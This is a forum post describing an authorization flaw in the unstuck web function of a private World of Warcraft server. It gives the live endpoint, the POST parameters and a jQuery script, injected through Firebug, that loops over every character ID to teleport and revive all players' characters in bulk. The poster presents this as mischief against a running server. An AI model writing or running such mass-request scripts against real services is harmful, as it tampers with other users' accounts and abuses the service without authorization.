Feenix Unstuck the hole Server

**serioux** · 11-05-2013

There is a bug in the Web System, so that the Unstuck Function takes a playerid as a Parameter, with no check if this player is connected to your Account. The Unstuck function just teleports them to their hometown and revives them( can be ****ing annoying if you know the playerid of a specific player and always port him to town ^^)
You need to be logged in with any Account.
I tested this on Archangel and it worked. may also work with the other servers(just replace archangel with the server name)

page: "https://www.wow-one.com/index.php?url=services/archangel/v/unstuck&a=a"
post variables:

Code:

character: %CharacterID%
unstuckFormSubmit: "Unstuck!"

So i made a small code, which you can inject to the main site using firebug

Code:

var asdf = function(i) {
  $.post( "https://www.wow-one.com/index.php?url=services/archangel/v/unstuck&a=a", { character: i, unstuckFormSubmit: "Unstuck!" } ).done(function( data ) {
  $("html").append(data+i+"<br>");
  asdf(i+1);
  });
}
asdf(0);

it think it will take me the hole night to unstuck all 900000 accounts (i dont have any info if they are used or not, so i iterate trough all ^^)